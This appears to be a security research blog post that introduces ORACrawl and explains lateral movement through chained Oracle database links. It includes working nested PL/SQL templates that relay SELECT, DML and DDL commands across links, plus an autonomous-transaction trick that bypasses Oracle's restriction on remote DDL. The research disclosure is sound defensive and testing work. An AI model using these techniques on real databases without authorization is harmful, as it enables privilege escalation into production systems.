ORACrawl Demo TL;DR: This article explores lateral movement through Oracle database links - a technique long established in Microsoft SQL Server environments, but underexplored in Oracle. We uncover how a complex chaining of links can lead from low-privilege environments to production systems and introduce ORACrawl - a tool designed to automate link traversal and SQL command execution across chained Oracle DB links. The article walks through the technical challenges involved, how our research overcame them, and why this attack surface deserves greater attention in modern enterprise security.

1. Intro

During a recent database assessment, we discovered multiple active database links in the client’s Oracle DEV environment. This prompted us to look deeper into where these links were leading to, and what accounts were associated with them. Specifically, we wanted to see if it was possible to chain several database links to reach a higher level account or system. However, this was not an easy task given Oracle’s limitations regarding interactions with database links, and therefore some investigative work had to be done. Eventually we reached a production database and achieved our escalation objective.

To reduce the time-consuming and error-prone manual work required during exploitation, we developed ORACrawl - a tool that streamlines command execution across any database link accessible to a given user. ORACrawl enables both offensive and defensive teams to uncover the depth of database link chains and interact with connected systems under the context of the associated link user.

2. Why does it matter?

Nowadays databases are rarely an isolated component in companies’ enterprise environment. They are usually deeply interconnected to several systems by supporting business logic, distributed applications, and cross-region data access. This introduces the possibility of lateral movement through databases, and database links can be used as part of that effort. What can usually seem like unassuming low-privilege access to a development database can quickly be escalated if any links are unnecessarily exposed and/or using higher privileges in other databases. Such links could lead to higher value production environments or databases storing sensitive data.

Database links themselves are not malicious by nature, in fact, they’re designed to simplify data operations. They allow systems to run queries and retrieve data from remote Oracle databases without redundant data storage. For large organizations, they are a cornerstone of efficient data architecture. But as with any legitimate convenience, they can become a liability when overlooked. Poorly documented, misconfigured, or forgotten links often persist unnoticed, enabling quiet pathways for exploitation.

In the Microsoft world, this type of attack path has been abused for a long time, where attackers have used linked databases to pivot across systems and escalate their access on the network. Documentation for these techniques is plentiful, such as how to SQL Server link crawl with PowerUpSQL[1] and How to hack database links in SQL Server[2]. However, on the Oracle side of things security research on the database links topic is quite scarce.

Oracle environments are also susceptible to lateral movement via database links, despite the fact that chaining multiple database links isn’t officially promoted in Oracle’s documentation. In fact, discovering a way to successfully chain database links across multiple Oracle databases took substantial effort. A community example demonstrates a working third-level link traversal, as discussed in this Stack Overflow thread on daisy chaining dblinks[3]. These technical and operational nuances make Oracle link exploitation a harder - but not impossible - problem. And that’s exactly why it matters. Understanding, auditing, and defending against this form of lateral movement is essential for anyone securing enterprise databases today.

While database links in Oracle databases are a well-established feature for enabling remote access between databases, their behavior is intentionally constrained. Oracle only provides official methods to execute commands in directly attached database links. This means that Oracle does not provide any official way to chain multiple database links. This limitation is rooted in Oracle’s distributed transaction model and is designed to prevent unpredictable behavior across multiple hop connections.

These restrictions introduce significant technical hurdles, especially when attempting to chain links across multiple databases. Even when read operations across multiple links are possible through specially crafted PL/SQL blocks, executing DDL (Data Definition Language) commands - such as CREATE, ALTER, or DROP - over a remote link is explicitly disallowed. Attempting such operations results in errors such as ORA-02021: DDL operations are not allowed on the remote database.

4. Breaking Oracle’s rules

The two main rules that are a hinderance to lateral movement through chaining database queries in Oracle are being able to execute commands over n-th level chains, and being able to perform DDL over database links. ORACrawl can defeat both of these rules.

Executing commands over n-th level chains

To overcome Oracle’s restrictions on multi-link query execution, we developed a technique based on recursive nesting of PL/SQL blocks. This method allows one block to be embedded within another, passing an SQL command step-by-step through each database link in the chain. Think of it like stacking LEGO bricks: each layer wraps around the next and carries the command one hop deeper into the chain.

To structure these nested blocks effectively, we defined two functional layers:

  • Outer layer blocks – wrappers that relay the command to the next link.
  • Inner layer blocks – the final block containing the SQL statement to be executed on the target database.

The following examples demonstrate how each of these blocks is structured, based on the type of operation to be performed:

Outer layer (SELECT operations):
DECLARE
  v_cursor   NUMBER;
  v_sql_stmt VARCHAR2(32000);
  v_output   VARCHAR2(32000); 
  v_ind      NUMBER;
  v_start     NUMBER := :start;
  v_end       NUMBER := :end;
BEGIN
  v_sql_stmt := 'REPLACE_ME';
  v_cursor := dbms_sql.open_cursor@replace_link;
  dbms_sql.parse@replace_link(v_cursor, v_sql_stmt, dbms_sql.native);
  dbms_sql.bind_variable@replace_link(v_cursor, ':output', v_output, 32000);
  dbms_sql.bind_variable@replace_link(v_cursor, ':start', v_start);
  dbms_sql.bind_variable@replace_link(v_cursor, ':end', v_end);
  v_ind := dbms_sql.execute@replace_link(v_cursor);
  dbms_sql.variable_value@replace_link(v_cursor, ':output', v_output);
  dbms_sql.close_cursor@replace_link(v_cursor);
  :output := v_output;
END;
Outer layer (DML operations (INSERT, DELETE, UPDATE, etc.) and DDL operations (CREATE, ALTER, DROP, etc.)):
DECLARE
  v_cursor   NUMBER;
  v_sql_stmt VARCHAR2(32000);
  v_output   VARCHAR2(32000); 
  v_ind      NUMBER;
BEGIN
  v_sql_stmt := 'REPLACE_ME';
  v_cursor := dbms_sql.open_cursor@replace_link;
  dbms_sql.parse@replace_link(v_cursor, v_sql_stmt, dbms_sql.native);
  dbms_sql.bind_variable@replace_link(v_cursor, ':output', v_output, 32000);
  v_ind := dbms_sql.execute@replace_link(v_cursor);
  dbms_sql.variable_value@replace_link(v_cursor, ':output', v_output);
  dbms_sql.close_cursor@replace_link(v_cursor);
  :output := v_output;
END;
Inner layer (SELECT operations):
DECLARE
  v_cursor    NUMBER;
  v_column_count NUMBER;
  v_desc_tab     DBMS_SQL.DESC_TAB;
  v_col_num      NUMBER;
  v_varchar_val VARCHAR2(32000);
  v_output_str   VARCHAR2(32000);
  v_ind      NUMBER;
  v_start     NUMBER := :start;
  v_end       NUMBER := :end;
BEGIN
  v_cursor := DBMS_SQL.OPEN_CURSOR;
  DBMS_SQL.PARSE(v_cursor, 'SELECT * FROM (SELECT a.*, ROWNUM rnum FROM (REPLACE_ME) a WHERE ROWNUM <= ' || v_end || ') WHERE rnum >= ' || v_start, DBMS_SQL.NATIVE);
  DBMS_SQL.DESCRIBE_COLUMNS(v_cursor, v_column_count, v_desc_tab);
  
  FOR i IN 1 .. v_column_count LOOP
      DBMS_SQL.DEFINE_COLUMN(v_cursor, i, v_varchar_val, 32000);
  END LOOP;
  
  v_output_str := CHR(10) || 'RESULTS:' || CHR(10);
  v_ind := DBMS_SQL.EXECUTE(v_cursor);

LOOP
  IF DBMS_SQL.FETCH_ROWS(v_cursor) = 0 THEN
      EXIT;
  END IF;
  
  v_output_str := v_output_str || 'ROW: ' || CHR(10);
  
  FOR i IN 1 .. v_column_count LOOP
      DBMS_SQL.COLUMN_VALUE(v_cursor, i, v_varchar_val);
      v_output_str := v_output_str || v_desc_tab(i).col_name || ' = ' || v_varchar_val || CHR(10);
  END LOOP;
END LOOP;

DBMS_SQL.CLOSE_CURSOR(v_cursor);
:output := v_output_str;
END;
Inner layer (DML operations (INSERT, DELETE, UPDATE, etc.)):
DECLARE
  v_cursor   NUMBER;
  v_sql_stmt VARCHAR2(32000);
  v_sql_stmtt VARCHAR2(32000);
  v_output   VARCHAR2(32000);
  v_ind      NUMBER;
BEGIN
  v_sql_stmt := 'REPLACE_ME';
  v_cursor := dbms_sql.open_cursor;
  dbms_sql.parse(v_cursor, v_sql_stmt, dbms_sql.native);
  v_ind := dbms_sql.execute(v_cursor);
  dbms_sql.close_cursor(v_cursor);
  v_output := 'Command completed successfuly!';
  :output := v_output;
END;

Using these blocks, [last_link_level]-1 outer layers would be used, combined with 1 final inner layer containing the command that will be ran. These would be added to each v_sql_stmt variable, layer by layer. Furthermore, proper escaping of the single quote characters needs to be done in order for the PL/SQL block to be valid. This means that the amount of single quote characters duplicates every layer (i.e. ’, ”, '''', '''''''', etc.). Lastly, on the outermost layer (first layer), the :start and :end variables need to be replaced by specific values (e.g. 0 and 10 respectively) when performing SELECT operations. These exist to iteratively grab results from the database rows, as some result sets would be too large for the 32000 VARCHAR2 character limit.

As an example, lets assume the following links were present in a test setup:

DbA -(dblink1)-> DbB -(dblink2)-> DbC

From DbA we want to execute a SELECT USER FROM DUAL statement on DbC. For this, 2 outer layer SELECT blocks, and one inner layer SELECT block (with the statement that is intended to run) would be used:

DECLARE
    v_cursor   NUMBER;
    v_sql_stmt VARCHAR2(32000);
    v_output   VARCHAR2(32000); 
    v_ind      NUMBER;
    v_start     NUMBER := 0;
    v_end       NUMBER := 10;
BEGIN
    v_sql_stmt := '
        DECLARE
            v_cursor   NUMBER;
            v_sql_stmt VARCHAR2(32000);
            v_output   VARCHAR2(32000); 
            v_ind      NUMBER;
            v_start     NUMBER := :start;
            v_end       NUMBER := :end;
        BEGIN
            v_sql_stmt := ''
                DECLARE
                    v_cursor    NUMBER;
                    v_column_count NUMBER;
                    v_desc_tab     DBMS_SQL.DESC_TAB;
                    v_col_num      NUMBER;
                    v_varchar_val VARCHAR2(32000);
                    v_output_str   VARCHAR2(32000);
                    v_ind      NUMBER;
                    v_start     NUMBER := :start;
                    v_end       NUMBER := :end;
                BEGIN
                    v_cursor := DBMS_SQL.OPEN_CURSOR;
                    DBMS_SQL.PARSE(v_cursor, ''''SELECT * FROM (SELECT a.*, ROWNUM rnum FROM (SELECT USER FROM DUAL) a WHERE ROWNUM <= '''' || v_end || '''') WHERE rnum >= '''' || v_start, DBMS_SQL.NATIVE);
                    DBMS_SQL.DESCRIBE_COLUMNS(v_cursor, v_column_count, v_desc_tab);
                    
                    FOR i IN 1 .. v_column_count LOOP
                        DBMS_SQL.DEFINE_COLUMN(v_cursor, i, v_varchar_val, 32000);
                    END LOOP;
                    
                    v_output_str := CHR(10) || ''''RESULTS:'''' || CHR(10);
                    v_ind := DBMS_SQL.EXECUTE(v_cursor);

                LOOP
                    IF DBMS_SQL.FETCH_ROWS(v_cursor) = 0 THEN
                        EXIT;
                    END IF;
                    
                    v_output_str := v_output_str || ''''ROW: '''' || CHR(10);
                    
                    FOR i IN 1 .. v_column_count LOOP
                        DBMS_SQL.COLUMN_VALUE(v_cursor, i, v_varchar_val);
                        v_output_str := v_output_str || v_desc_tab(i).col_name || '''' = '''' || v_varchar_val || CHR(10);
                    END LOOP;
                END LOOP;

                DBMS_SQL.CLOSE_CURSOR(v_cursor);
                :output := v_output_str;
                END;'';
            v_cursor := dbms_sql.open_cursor@dblink2;
            dbms_sql.parse@dblink2(v_cursor, v_sql_stmt, dbms_sql.native);
            dbms_sql.bind_variable@dblink2(v_cursor, '':output'', v_output, 32000);
            dbms_sql.bind_variable@dblink2(v_cursor, '':start'', v_start);
            dbms_sql.bind_variable@dblink2(v_cursor, '':end'', v_end);
            v_ind := dbms_sql.execute@dblink2(v_cursor);
            dbms_sql.variable_value@dblink2(v_cursor, '':output'', v_output);
            dbms_sql.close_cursor@dblink2(v_cursor);
            :output := v_output;
        END;';
    v_cursor := dbms_sql.open_cursor@dblink1;
    dbms_sql.parse@dblink1(v_cursor, v_sql_stmt, dbms_sql.native);
    dbms_sql.bind_variable@dblink1(v_cursor, ':output', v_output, 32000);
    dbms_sql.bind_variable@dblink1(v_cursor, ':start', v_start);
    dbms_sql.bind_variable@dblink1(v_cursor, ':end', v_end);
    v_ind := dbms_sql.execute@dblink1(v_cursor);
    dbms_sql.variable_value@dblink1(v_cursor, ':output', v_output);
    dbms_sql.close_cursor@dblink1(v_cursor);
    :output := v_output;
END;

DDL commands are used to define or alter the structure of database objects such as tables, indexes, views, etc[4]. Oracle allows for execution of DDL commands using the dbms_utility.exec_ddl_statement procedure. However, for this to work, the user for which the link was created must have EXECUTE privileges on the dbms_utility package. Furthermore, this only allows for DDL commands to be run on a direct link (1st level link) from the database you are executing it. Trying to execute the command over multiple links will throw an error such as ORA-02064: distributed operation not supported.

The reasoning behind this is that Oracle imposes strict validation to ensure that transactions are coordinated across databases and the first database of the chain would not be able to validate proper execution of the query. However, it is possible to trick the database into assuming that there is no DDL operation being executed with the help of PRAGMA AUTONOMOUS_TRANSACTION. This small piece of code, when added to a PL/SQL block will ensure that a given transaction is marked as autonomous, and therefore the first database does not care about its result, allowing us to bypass the DDL restrictions across a database link chain.

Inner layer (DDL operations (CREATE, ALTER, DROP, etc.)):
DECLARE
  PRAGMA AUTONOMOUS_TRANSACTION;
  v_cursor   NUMBER;
  v_sql_stmt VARCHAR2(32000);
  v_sql_stmtt VARCHAR2(32000);
  v_output   VARCHAR2(32000);
  v_ind      NUMBER;
BEGIN
  v_sql_stmt := 'REPLACE_ME';
  v_cursor := dbms_sql.open_cursor;
  dbms_sql.parse(v_cursor, v_sql_stmt, dbms_sql.native);
  v_ind := dbms_sql.execute(v_cursor);
  dbms_sql.close_cursor(v_cursor);
  v_output := 'Command completed successfuly!';
  :output := v_output;
END;

As an example, lets assume we have the same database link setup as the previous example. From DbA we want to execute a CREATE TABLE example (name VARCHAR2(50)) statement on DbC. For this, 2 outer layer DDL blocks, and one inner layer DDL block (with the statement that is intended to run) would be used:

DECLARE
    v_cursor   NUMBER;
    v_sql_stmt VARCHAR2(32000);
    v_output   VARCHAR2(32000); 
    v_ind      NUMBER;
BEGIN
    v_sql_stmt := '
        DECLARE
            v_cursor   NUMBER;
            v_sql_stmt VARCHAR2(32000);
            v_output   VARCHAR2(32000); 
            v_ind      NUMBER;
        BEGIN
            v_sql_stmt := ''
                DECLARE
                    PRAGMA AUTONOMOUS_TRANSACTION;
                    v_cursor   NUMBER;
                    v_sql_stmt VARCHAR2(32000);
                    v_sql_stmtt VARCHAR2(32000);
                    v_output   VARCHAR2(32000);
                    v_ind      NUMBER;
                BEGIN
                    v_sql_stmt := ''''CREATE TABLE example (name VARCHAR2(50))'''';
                    v_cursor := dbms_sql.open_cursor;
                    dbms_sql.parse(v_cursor, v_sql_stmt, dbms_sql.native);
                    v_ind := dbms_sql.execute(v_cursor);
                    dbms_sql.close_cursor(v_cursor);
                    v_output := ''''Command completed successfuly!'''';
                    :output := v_output;
                END;'';
                            v_cursor := dbms_sql.open_cursor@dblink2;
            dbms_sql.parse@dblink2(v_cursor, v_sql_stmt, dbms_sql.native);
            dbms_sql.bind_variable@dblink2(v_cursor, '':output'', v_output, 32000);
            v_ind := dbms_sql.execute@dblink2(v_cursor);
            dbms_sql.variable_value@dblink2(v_cursor, '':output'', v_output);
            dbms_sql.close_cursor@dblink2(v_cursor);
            :output := v_output;
        END;
        ';
    v_cursor := dbms_sql.open_cursor@dblink1;
    dbms_sql.parse@dblink1(v_cursor, v_sql_stmt, dbms_sql.native);
    dbms_sql.bind_variable@dblink1(v_cursor, ':output', v_output, 32000);
    v_ind := dbms_sql.execute@dblink1(v_cursor);
    dbms_sql.variable_value@dblink1(v_cursor, ':output', v_output);
    dbms_sql.close_cursor@dblink1(v_cursor);
    :output := v_output;
END;

5. ORACrawl - Escaping the escape quote hell

Reading through the previous section, it is clear to see that achieving links across more than a couple of databases becomes labor intensive and very prone to errors when done manually. This is exactly the challenge ORACrawl was built to address. Provided with a username, a password and an SID, ORACrawl will uncover all database links available to that user, and automatically query each of those links in order to find the next links in the chain, if any are available.

The tool can be downloaded from Reversec Labs Github: https://github.com/ReversecLabs/oracrawl

ORACrawl has 3 modes available to suite a variety of use-cases: builder, interactive, and query.

Builder

The builder mode generates PL/SQL code based on specific inputs such as a list of database links and a query. This mode does not connect to the database and can not validate the availability of the provided links. It is suitable when an SSH connection exists to a system with an existing Oracle SQL client, but where no additional tools can be installed. The generated PL/SQL code can be copied into the client for execution. ORACrawl builder mode

Interactive

The interactive mode provides a user-friendly interface displaying all available database links where SQL commands can be executed. Users can select a link and use a shell-like interface to perform arbitrary DML/DDL SQL operations. A server, user, password, and database must be provided to use this mode. ORACrawl interactive mode

Query

The query mode is used when the database links are already known, and the result of a specific query is needed. This mode is useful for automating code execution across several links and gathering the resulting output. ORACrawl query mode

6. Final remarks

Database links have been used as part of attack chains in the Microsoft world for a long time, however the research for Oracle was lacking and tooling was mostly non-existent. Oracle has built plenty of safeguards to stop database queries, especially containing DDL operations, to be executed across multiple databases. Reversec has found a way to circumvent these restrictions and produced a tool to automate the process of query building, making daisy chaining database links hassle-free.

The tool has been made with integrations in mind, and it would be amazing to see the community further develop it, integrating it with other very powerful tools such as ODAT. Furthermore, more research should be directed towards Oracle’s databases, as a lot of the research that can be found is very outdated in relation to the deployments that can be found in modern enterprises.

7. References

  1. NetSPI - SQL Server Link Crawling with PowerUpSQL
  2. NetSPI - SQL Server – Link… Link… Link… and Shell: How to Hack Database Links in SQL Server!
  3. Stack Overflow - Daisy chaining DBLinks?
  4. Oracle - SQL Language Reference